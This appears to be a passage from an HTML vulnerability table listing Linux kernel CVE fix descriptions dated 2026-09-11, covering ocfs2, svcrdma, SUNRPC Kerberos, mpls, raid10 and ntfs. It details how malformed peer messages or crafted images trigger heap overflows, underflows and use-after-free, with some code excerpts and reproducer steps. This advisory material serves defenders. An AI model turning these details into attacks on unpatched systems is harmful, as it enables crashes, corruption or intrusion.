&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate lengths in dlm_mig_lockres_handler A node receiving a DLM_MIG_LOCKRES message trusts several fields of the peer-supplied dlm_migratable_lockres without validation. num_locks and lockname_len are bounded only on the sending side, and the message is never checked to actually carry num_locks migratable_lock entries. As a result dlm_process_recovery_data() walks mres-&amp;gt;ml[0..num_locks) past the kmalloc(data_len) copy of the message (an out-of-bounds read that ends in a BUG_ON panic), and dlm_init_lockres() copies lockname_len bytes into the fixed 32-byte o2dlm_lockname slab object (a heap out-of-bounds write). Both are reachable by any node in the domain. Validate these fields right after dlm_grab(), before anything uses them -- including the not-joined error path, which already prints mres-&amp;gt;lockname with the unbounded lockname_len as a %.*s precision. Reject the message unless lockname_len &amp;lt;= DLM_LOCKID_NAME_MAX, num_locks &amp;lt;= DLM_MAX_MIGRATABLE_LOCKS (the bound the sender already asserts), and the payload is large enough to hold the claimed locks. Conforming recovery and migration messages are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89494&quot; target=&quot;_blank&quot;&gt;CVE-2026-89494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: bound namelen in dlm_migrate_request_handler Patch series &quot;ocfs2/dlm: bound peer-controlled lengths in the o2dlm&quot;. The o2dlm receive handlers trust u8 length and count fields from the wire without bounding them, so a node in a DLM domain can corrupt or panic any other node with a malformed message. Three defects: - dlm_migrate_request_handler() passes migrate-&amp;gt;namelen unchecked to dlm_init_mle(), which memcpy()s it into the 32-byte mname[] of an o2dlm_mle slab object: a heap out-of-bounds write of up to ~215 attacker-controlled bytes. - dlm_mig_lockres_handler() passes mres-&amp;gt;lockname_len unchecked to dlm_init_lockres(), which memcpy()s it into the 32-byte o2dlm_lockname slab object: a heap out-of-bounds write of up to ~223 bytes. - the same handler trusts mres-&amp;gt;num_locks without checking that the message is large enough to hold that many entries, so dlm_process_recovery_data() walks mres-&amp;gt;ml[] past the kmalloc(data_len) copy and trips a BUG_ON (an out-of-bounds read ending in a panic). The other o2dlm receive handlers already reject an oversized name; the migration and recovery handlers have omitted it since the DLM was added (see the Fixes tags). Patch 1 bounds namelen; patch 2 validates lockname_len, num_locks, and the payload size. Conforming recovery and migration traffic is unaffected. o2net authenticates peers only by the DLM domain key, so any node that has joined the domain -- including a compromised or malicious member -- can send these messages. There is no local trigger; the attacker must already be a member of the cluster. Each sink was confirmed under KASAN with an out-of-tree module mirroring it exactly -- a kmem_cache/kmalloc of the real destination size, then the same unclamped memcpy/loop: slab-out-of-bounds Write for the two writes, Read for the recovery walk, and a panic. A userspace AddressSanitizer build faults identically under -m32 and -m64. Scrubbed logs are available on request. I reported this privately to security@kernel.org and the ocfs2 maintainers on 2026-06-20; with no response after the standard embargo period I am posting the fix publicly. I have no embargo requirement. This patch (of 2): A node receiving a DLM_MIGRATE_REQUEST message trusts the peer-supplied name length (migrate-&amp;gt;namelen) without bounding it. dlm_init_mle() then copies that many bytes into the fixed DLM_LOCKID_NAME_MAX-byte mname[] array of an o2dlm_mle slab object, so a malformed message from a cluster peer overflows the slab object by up to ~215 bytes: a heap out-of-bounds write of attacker-controlled data, reachable by any node in the domain. Reject an oversized name, the way dlm_master_request_handler() and the other o2dlm receive handlers already do; the migration handler omits the check entirely. Conforming messages are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89495&quot; target=&quot;_blank&quot;&gt;CVE-2026-89495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Validate Read chunk positions before reconstruction The RPC/RDMA Read chunk position field is supplied by the remote client and stored verbatim in the parsed chunk list. xdr_count_read_segments() checks only 4-byte alignment; it never compares the position against the received inline body length. In the single-chunk path, svc_rdma_read_complete_one() splits the head and tail kvecs at ch_position. A position past the inline body underflows the tail length, exposing adjacent slab memory to the upper XDR decoder. In the multi-chunk path, svc_rdma_read_multiple_chunks() computes gap lengths between chunks as unsigned subtractions from ch_position. Overlapping Read chunks cause these subtractions to underflow. A final position past the inline body likewise underflows the trailing gap length. svc_rdma_copy_inline_range() then copies past the receive buffer into request pages that are returned to the client through the Reply channel. Bound inline-range copies in svc_rdma_copy_inline_range() against the decoded inline RPC body saved in rc_saved_arg. Reject a single Read chunk positioned beyond that body, and reject multi-chunk lists where accumulated read bytes exceed the next chunk&#039;s position. Apply the same position and overlap checks in the call-chunk interleaving path.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89526&quot; target=&quot;_blank&quot;&gt;CVE-2026-89526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Reject inline replies that overflow the pull-up buffer An RPC-over-RDMA client can request a reply, such as an NFS READ payload, without providing a Write list or a Reply chunk to carry it. When such a reply needs more scatter/gather entries than the device&#039;s Send Queue supports, svc_rdma_pull_up_needed() selects pull-up and svc_rdma_pull_up_reply_msg() linearizes the whole reply into sctxt-&amp;gt;sc_xprt_buf. That buffer is only sc_max_req_size bytes, while the reply on this path is bounded only by the client&#039;s request, so svc_rdma_xb_linearize() copies past the end of the buffer and corrupts adjacent slab memory. The oversized length is then stored in sc_sges[0].length and posted, so the device also reads beyond the mapped region. The SGE-exhaustion branch is the only pull-up path that can exceed the buffer: the threshold branch pulls up only replies smaller than RPCRDMA_PULLUP_THRESH, and replies that fit the device&#039;s SGE budget are sent directly without linearization. Make svc_rdma_pull_up_needed() report -E2BIG when the reply it would pull up cannot fit sc_max_req_size, and fail the request with ERR_CHUNK as RFC 8166 Section 4.5.3 directs rather than dropping the connection. The helper no longer answers a simple yes/no question: it now reports pull-up, no pull-up, or -E2BIG for a reply too large to linearize. Rename svc_rdma_pull_up_needed() to svc_rdma_check_pull_up() so its name no longer implies a boolean predicate.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89530&quot; target=&quot;_blank&quot;&gt;CVE-2026-89530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Fix pcl_for_each_segment for empty chunks When a parsed chunk list contains a chunk whose ch_segcount is zero, pcl_for_each_segment computes its inclusive upper bound as &amp;amp;chunk-&amp;gt;ch_segments[ch_segcount - 1]. ch_segcount is u32, so the subtraction wraps to 0xFFFFFFFF and the bound lands far past the ch_segments flex array. The loop body then walks unrelated memory at sizeof(struct svc_rdma_segment) stride until it faults. A zero-segcount chunk is reachable from the wire: xdr_check_write_chunk() only rejects segcount values greater than rc_maxpages, and pcl_alloc_write() links a freshly allocated chunk onto rc_write_pcl/rc_reply_pcl before its segment-fill loop runs, so a Write or Reply chunk advertising zero segments leaves ch_segcount == 0 on the list. When the transport has negotiated Send-With-Invalidate, svc_rdma_get_inv_rkey() iterates all four PCLs with pcl_for_each_segment and dereferences segment-&amp;gt;rs_handle on each iteration, turning the underflow into an out-of-bounds read and a general protection fault. xdr_check_write_list / xdr_check_reply_chunk pcl_alloc_write() chunk = pcl_alloc_chunk(...) /* ch_segcount = 0 */ list_add_tail(&amp;amp;chunk-&amp;gt;ch_list, &amp;amp;pcl-&amp;gt;cl_chunks) /* fill loop iterates zero times for wire segcount 0 */ svc_rdma_get_inv_rkey() pcl_for_each_chunk(rc_write_pcl) pcl_for_each_segment(segment, chunk) pos &amp;lt;= &amp;amp;ch_segments[0u - 1u] /* 0xFFFFFFFF */ segment-&amp;gt;rs_handle /* OOB read -&amp;gt; GPF */ Fix by switching the macro to a half-open upper bound that uses ch_segcount directly. For ch_segcount == 0 the loop start equals the loop end and the body is skipped; for ch_segcount &amp;gt; 0 the iteration range is unchanged. All six existing call sites in net/sunrpc/xprtrdma/svc_rdma_recvfrom.c and net/sunrpc/xprtrdma/svc_rdma_rw.c remain correct under the new bound, so no caller changes are needed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89532&quot; target=&quot;_blank&quot;&gt;CVE-2026-89532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Fix offset arithmetic in read_chunk_range svc_rdma_read_chunk_range() walks a Read chunk&#039;s segment list to build a sub-range starting at byte offset and spanning length bytes for a Position-Zero or Call chunk. Two arithmetic defects in the per-segment loop produce wrong DMA lengths and a u32 underflow: pcl_for_each_segment(segment, chunk) { if (offset &amp;gt; segment-&amp;gt;rs_length) { offset -= segment-&amp;gt;rs_length; continue; } dummy.rs_handle = segment-&amp;gt;rs_handle; dummy.rs_length = min_t(u32, length, segment-&amp;gt;rs_length) - offset; dummy.rs_offset = segment-&amp;gt;rs_offset + offset; First, the skip predicate uses &#039;&amp;gt;&#039; instead of &#039;&amp;gt;=&#039;. When offset equals the segment&#039;s full rs_length, the segment is fully consumed and should be skipped, but the loop falls through into the body. The resulting dummy.rs_length is min_t(u32, length, rs_length) - rs_length, which underflows to a near-UINT_MAX u32 when length is smaller than rs_length, or is zero otherwise. Second, the length formula subtracts offset from the min_t() result rather than from segment-&amp;gt;rs_length before the cap. For offset &amp;gt; 0 the segment&#039;s residual is rs_length - offset, not rs_length, so the cap must be applied to the residual. With the current bracketing, whenever length is smaller than rs_length - offset the per-segment length becomes length - offset instead of length, silently dropping offset bytes from the rebuilt chunk. Combined with the boundary case above it also enables the u32 underflow path, which propagates a huge nr_bvec into svc_rdma_build_read_segment() and a multi-MiB kmalloc_array_node() in svc_rdma_get_rw_ctxt(). Additionally, svc_rdma_read_call_chunk() can invoke this function with length == 0 when the last Read chunk ends exactly at the end of the Call chunk. With the corrected &amp;gt;= predicate, every segment is skipped and the function returns the initial -EINVAL, rejecting a valid request. Return success immediately when length is zero. Also break out of the loop once length is fully consumed to avoid passing zero-length segments to svc_rdma_build_read_segment(). Fix by using &#039;&amp;gt;=&#039; so a fully-consumed segment is skipped, by moving &#039;- offset&#039; inside min_t() so the cap is applied to the segment&#039;s residual length, by returning success for zero-length requests, and by stopping iteration when the requested range has been consumed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89533&quot; target=&quot;_blank&quot;&gt;CVE-2026-89533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: wait for in-flight client TLS handshake callback xs_tls_handshake_sync() gives xs_tls_handshake_done() a reference to the lower transport before submitting the handshake request. On timeout or signal, the synchronous waiter drops that reference after calling tls_handshake_cancel(). handshake_req_cancel() returns false when handshake_complete() has already marked the request complete. In that case the completion callback can still be running, so dropping the callback-owned reference in the waiter can free the lower transport before xs_tls_handshake_done() stores xprt_err or drops its own reference. If cancellation loses to completion, wait until xs_tls_handshake_done() signals handshake_done and let the callback release its reference. This mirrors the server-side handshake lifetime handling and keeps the timeout or signal return value unchanged.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89536&quot; target=&quot;_blank&quot;&gt;CVE-2026-89536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: Reject short RFC 4121 MIC tokens in gss_krb5_verify_mic_v2 gss_krb5_verify_mic_v2() reads the token ID at ptr[0..1], the flags byte at ptr[2], and padding at ptr[3..7], then passes ptr + GSS_KRB5_TOK_HDR_LEN and cksum_len to gss_krb5_mic_build_sg(). None of these accesses check read_token-&amp;gt;len first. The minimum safe token size is GSS_KRB5_TOK_HDR_LEN (16) plus ctx-&amp;gt;krb5e-&amp;gt;cksum_len (12-24, depending on the enctype). All callers accept shorter tokens from the wire: - gss_unwrap_resp_integ() enforces only an upper bound (offset + len &amp;lt;= rcv_buf-&amp;gt;len) before allocating mic.data = kmalloc(len) and passing it to gss_verify_mic(). A malicious NFS server can therefore supply a short checksum opaque, producing a small slab allocation that the Kerberos MIC verifier reads past. - gss_validate() enforces only len &amp;lt;= RPC_MAX_AUTH_SIZE (400) before passing the wire-supplied length to gss_validate_seqno_mic(), which constructs a mic xdr_netobj and calls gss_verify_mic(). - svcauth_gss_verify_header() enforces only checksum.len &amp;gt;= XDR_UNIT (4 bytes) before dispatching to gss_verify_mic(). - svcauth_gss_unwrap_integ() checks only that the checksum fits in gsd-&amp;gt;gsd_scratch. Add a length guard at the top of gss_krb5_verify_mic_v2(), before any ptr[] access or scatterlist construction. Well-formed MIC tokens from gss_krb5_get_mic_v2() already have exactly GSS_KRB5_TOK_HDR_LEN + cksum_len bytes, so valid traffic is unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89537&quot; target=&quot;_blank&quot;&gt;CVE-2026-89537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: Reject krb5 v2 wrap tokens with oversized ec field gss_krb5_unwrap_v2() sets buf-&amp;gt;len to a logical length, which can be much smaller than head[0].iov_len (the allocated receive-page capacity). It then calls xdr_buf_trim() with a trim length derived from the 16-bit &quot;extra count&quot; (ec) field in the Kerberos v2 token header. The ec field is authenticated by the post-decrypt memcmp() against the encrypted header copy, so a randomly-mutated value is rejected. However, any peer holding a valid GSS context can legitimately encrypt a token whose ec exceeds the plaintext length. Per RFC 4121, such a token is structurally malformed. Although xdr_buf_trim() now clamps the buf-&amp;gt;len subtraction to avoid unsigned underflow, the buffer is still left in a semantically invalid state (zero length, inconsistent iov lengths) when ec is oversized. Reject these tokens before calling xdr_buf_trim(), giving callers a well-defined GSS_S_DEFECTIVE_TOKEN error and keeping the xdr_buf internally consistent. The wrapped blob begins at a nonzero offset -- both callers pass len as offset + opaque_len -- so buf-&amp;gt;len still counts the offset bytes that precede the blob. Compare the trim length against the remaining wrapped segment, buf-&amp;gt;len - offset, rather than the whole buffer; comparing against buf-&amp;gt;len alone leaves an offset-wide window in which an oversized ec passes the test and xdr_buf_trim() cuts into the bytes ahead of the blob.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89538&quot; target=&quot;_blank&quot;&gt;CVE-2026-89538&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: harden gss_unwrap_resp_priv length checks gss_unwrap_resp_priv() validates the RPCSEC_GSS opaque length with offset = (u8 *)(p) - (u8 *)head-&amp;gt;iov_base; if (offset + opaque_len &amp;gt; rcv_buf-&amp;gt;len) goto unwrap_failed; maj_stat = gss_unwrap(ctx-&amp;gt;gc_gss_ctx, offset, offset + opaque_len, rcv_buf); Both operands are u32 and the sum is computed in u32. A reply with opaque_len near 0xffffffff makes offset + opaque_len wrap to a small value that is below rcv_buf-&amp;gt;len, so the bound check passes and gss_unwrap() is called with end &amp;lt; begin. The check also lacks a lower bound, so any opaque_len in [0, GSS_KRB5_TOK_HDR_LEN) is accepted and forwarded to gss_krb5_unwrap_v2(), whose pre-decrypt header reads at ptr+4 and ptr+6 then run past the token. A krb5p NFS server returning a crafted RPCSEC_GSS reply can drive the client into out-of-bounds reads in gss_krb5_unwrap_v2() and the rotate_left() loop that follows. Fix by replacing the single combined check with three guards that are safe in u32 arithmetic and that enforce the RFC 4121 minimum outer token length: if (offset &amp;gt; rcv_buf-&amp;gt;len) goto unwrap_failed; if (opaque_len &amp;gt; rcv_buf-&amp;gt;len - offset) goto unwrap_failed; if (opaque_len &amp;lt; GSS_KRB5_TOK_HDR_LEN) goto unwrap_failed; The first guard makes the subtraction in the second guard unconditionally safe; offset is derived from a successful xdr_inline_decode() in the head kvec, so in practice it already satisfies the bound. The floor mirrors the server-side check added in commit 5b757c2e57a5 (&quot;SUNRPC: svcauth_gss: enforce krb5 token minimum length&quot;).&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89541&quot; target=&quot;_blank&quot;&gt;CVE-2026-89541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: harden gss_krb5_unwrap_v2 against short tokens gss_krb5_unwrap_v2() reads the EC and RRC header fields at ptr+4 and ptr+6 before validating that the token is at least GSS_KRB5_TOK_HDR_LEN (16) bytes long, and its rotate_left() helper passes buf-&amp;gt;len - base to xdr_buf_subsegment() without verifying that base &amp;lt;= buf-&amp;gt;len. When a caller hands in a sub-16-byte token, or a token whose declared len leaves base past the end of the buffer, three distinct failures follow: gss_krb5_unwrap_v2(offset, len, buf) ptr = buf-&amp;gt;head[0].iov_base + offset ec = *(ptr + 4) /* OOB read on short head */ rrc = *(ptr + 6) /* OOB read on short head */ rotate_left(offset + 16, buf, rrc) xdr_buf_subsegment(buf, &amp;amp;subbuf, base, buf-&amp;gt;len - base) /* u32 wrap when base &amp;gt; len */ _rotate_left(&amp;amp;subbuf, shift) shift %= buf-&amp;gt;len /* divide-by-zero when base == len */ After decryption, the cleanup arithmetic has the same shape: movelen = min_t(unsigned int, buf-&amp;gt;head[0].iov_len, len); movelen -= offset + GSS_KRB5_TOK_HDR_LEN + headskip; BUG_ON(offset + GSS_KRB5_TOK_HDR_LEN + headskip + movelen &amp;gt; buf-&amp;gt;head[0].iov_len); The BUG_ON re-adds the value just subtracted, so it reduces to min(A, B) &amp;gt; A and is permanently false; it cannot catch the unsigned underflow of movelen, which then drives a ~UINT_MAX-byte memmove(). Add four defense-in-depth guards inside the unwrap core so it is safe regardless of what its callers validate: - reject tokens with len - offset &amp;lt; GSS_KRB5_TOK_HDR_LEN before touching ptr+4/ptr+6; - bail from rotate_left() when buf-&amp;gt;len &amp;lt;= base, covering both the underflow and zero-length cases; - return early from _rotate_left() when buf-&amp;gt;len is zero, so the shift %= buf-&amp;gt;len modulo cannot fault; - replace the dead BUG_ON with a live check that returns GSS_S_DEFECTIVE_TOKEN before the movelen subtraction.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89542&quot; target=&quot;_blank&quot;&gt;CVE-2026-89542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: close backchannel before destroying callback service A backchannel receive can complete a request while the NFS callback service is being torn down. xprt_complete_bc_request() removes the request from bc_pa_list, drops bc_alloc_count, marks the request in use, and then asks xprt_enqueue_bc_request() to hand it to the callback service. If teardown has already cleared xprt-&amp;gt;bc_serv, xprt_enqueue_bc_request() currently returns without enqueueing or freeing the committed request. The xprt_get() taken on entry is leaked as well. If the producer wins the race before bc_serv is cleared, it can also enqueue onto sv_cb_list after nfs_callback_down() has stopped the callback threads, leaving the request linked to a svc_serv that is about to be freed. Close the producer side before callback threads are stopped. Add xprt_svc_shutdown_bc() to clear xprt-&amp;gt;bc_serv under bc_pa_lock, and call it on callback shutdown and callback-start failure before stopping the service threads. Requests that lose the NULL transition in xprt_enqueue_bc_request() are released through the normal backchannel free path after balancing bc_slot_count. Finally, drain any remaining sv_cb_list requests after the callback threads have stopped and before svc_destroy() frees the service.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89546&quot; target=&quot;_blank&quot;&gt;CVE-2026-89546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: svcauth_gss: enforce krb5 token minimum length svcauth_gss_unwrap_priv() validates only an upper bound on the wire-supplied opaque length before handing the buffer to gss_unwrap(): if (len &amp;gt; xdr_stream_remaining(xdr)) goto unwrap_failed; offset = xdr_stream_pos(xdr); ... maj_stat = gss_unwrap(ctx, offset, offset + len, buf); The wire value `len` flows unchanged as the upper bound into the krb5 unwrap path, so a len in [0, 16] passes this check and is handed to gss_unwrap(). For a krb5 v2 context that lands in gss_krb5_unwrap_v2(), which reads the 16-byte RFC 4121 token header fields at ptr+4 and ptr+6 and then calls rotate_left() before any integrity check. With a sub-header length the header reads run past the token, and _rotate_left()&#039;s `shift %= buf-&amp;gt;len` path can divide by zero when buf-&amp;gt;len has been driven to zero by the truncated token. A header-only token (len == 16) is equally invalid: with a non-zero RRC field and the opaque blob ending at the XDR buffer boundary, rotate_left() builds a zero-length subbuffer, reaching the same division. Reject the token at the server entry point before it reaches the krb5 unwrap core. A valid sealed RFC 4121 token must contain the 16-byte header plus at least some encrypted payload. Fix by adding a minimum-length check immediately after the existing upper-bound check: if (len &amp;lt;= GSS_KRB5_TOK_HDR_LEN) goto unwrap_failed;&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89550&quot; target=&quot;_blank&quot;&gt;CVE-2026-89550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: xdr_buf_trim: clamp buf-&amp;gt;len to avoid underflow xdr_buf_trim() trims `len` bytes from the tail of an xdr_buf by walking the tail, pages, and head iovecs. Each per-section step uses min_t() so it never removes more bytes than that section holds, but the final accounting at the fix_len label subtracts the total bytes actually consumed from buf-&amp;gt;len without any clamp: fix_len: buf-&amp;gt;len -= (len - trim); When the caller has set buf-&amp;gt;len to a value smaller than the sum of the iov_lens, (len - trim) can exceed buf-&amp;gt;len and the unsigned subtraction wraps to near UINT_MAX. gss_krb5_unwrap_v2() reaches xdr_buf_trim() in exactly that state: buf-&amp;gt;head[0].iov_len -= GSS_KRB5_TOK_HDR_LEN + headskip; buf-&amp;gt;len = len - (GSS_KRB5_TOK_HDR_LEN + headskip); xdr_buf_trim(buf, ec + GSS_KRB5_TOK_HDR_LEN + tailskip); buf-&amp;gt;len is a small wire-derived value while the iov_lens are at page scale, so the per-section loops legitimately consume far more bytes than buf-&amp;gt;len records. The wrapped buf-&amp;gt;len then propagates as the authoritative stream bound into every downstream XDR decoder. Fix by clamping the decrement so buf-&amp;gt;len bottoms out at zero: buf-&amp;gt;len -= min_t(unsigned int, buf-&amp;gt;len, len - trim); On the normal path where the iov_lens sum to buf-&amp;gt;len, (len - trim) is always &amp;lt;= buf-&amp;gt;len and the result is identical to before. No callers change behavior outside the underflow case.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89551&quot; target=&quot;_blank&quot;&gt;CVE-2026-89551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mpls: reload header after pskb_may_pull() mpls_select_multipath() calls mpls_multipath_hash() to choose a nexthop when an MPLS route has multiple nexthops. While walking the MPLS label stack, the hash routine caches hdr for the current label. After finding the bottom-of-stack label, it calls pskb_may_pull() before reading the inner IP header. If an skb is constructed with the inner IP header in nonlinear data and insufficient tailroom in the linear head, pskb_may_pull() calls pskb_expand_head() to replace the skb head and free the old one. This leaves hdr pointing to freed memory. The IPv6 path can invalidate hdr again when it performs a second pull for the larger header. The issue was found through static analysis. A reproducer sending a legal Geneve packet through a bareudp/MPLS multipath setup triggered the same KASAN report in 2 of 2 unpatched runs: BUG: KASAN: slab-use-after-free in mpls_select_multipath Read of size 1 at addr ffff88800ecc6e20 by task ksoftirqd/1/23 Call Trace: mpls_select_multipath mpls_forward __netif_receive_skb_list_core netif_receive_skb_list_internal napi_complete_done gro_cell_poll __napi_poll net_rx_action Freed by task 23: kfree pskb_expand_head __pskb_pull_tail mpls_select_multipath Reload hdr from the current skb head after each successful pull before deriving the inner IPv4 or IPv6 header pointer.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89555&quot; target=&quot;_blank&quot;&gt;CVE-2026-89555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md/raid10: fix still_degraded being inverted in raid10_sync_request() Commit fe6a19d40ceb (&quot;md/md-bitmap: merge md_bitmap_start_sync() into bitmap_operations&quot;) converted still_degraded from int to bool, but inverted the assignment in the loop that checks whether the array will still be degraded after the current device is recovered: &quot;still_degraded = 1&quot; became &quot;still_degraded = false&quot;. As a result, recovering a device while another mirror is still missing calls md_bitmap_start_sync() with degraded == false, which clears bitmap bits that the still-missing device needs. When that device is re-added, its bitmap-based recovery finds the bits already cleared and skips every region written while the array was degraded, so it is marked In_sync while holding stale data: silent corruption. Reproducer (raid10 near=2, 4 disks, internal bitmap): - fail and remove one disk of each mirror pair - write to the degraded array - re-add both disks and let recovery finish - &quot;check&quot; reports mismatch_cnt=262272 after 256 MiB of degraded writes and file contents differ; the second disk&#039;s &quot;recovery&quot; completes in milliseconds because everything is skipped The same conversion in raid1 got it right (still_degraded = true). Restore the correct value.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89558&quot; target=&quot;_blank&quot;&gt;CVE-2026-89558&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: verify run length exceeding volume boundary The mapping pairs decoder validates that the starting LCN is within the volume but does not check if the run extends beyond the volume boundary. A malformed NTFS image with a crafted mapping pairs array could cause the kernel to access memory beyond the volume boundary, potentially leading to memory corruption and privilege escalation. Add validation to ensure lcn + length stays within nr_clusters.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89610&quot; target=&quot;_blank&quot;&gt;CVE-2026-89610&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
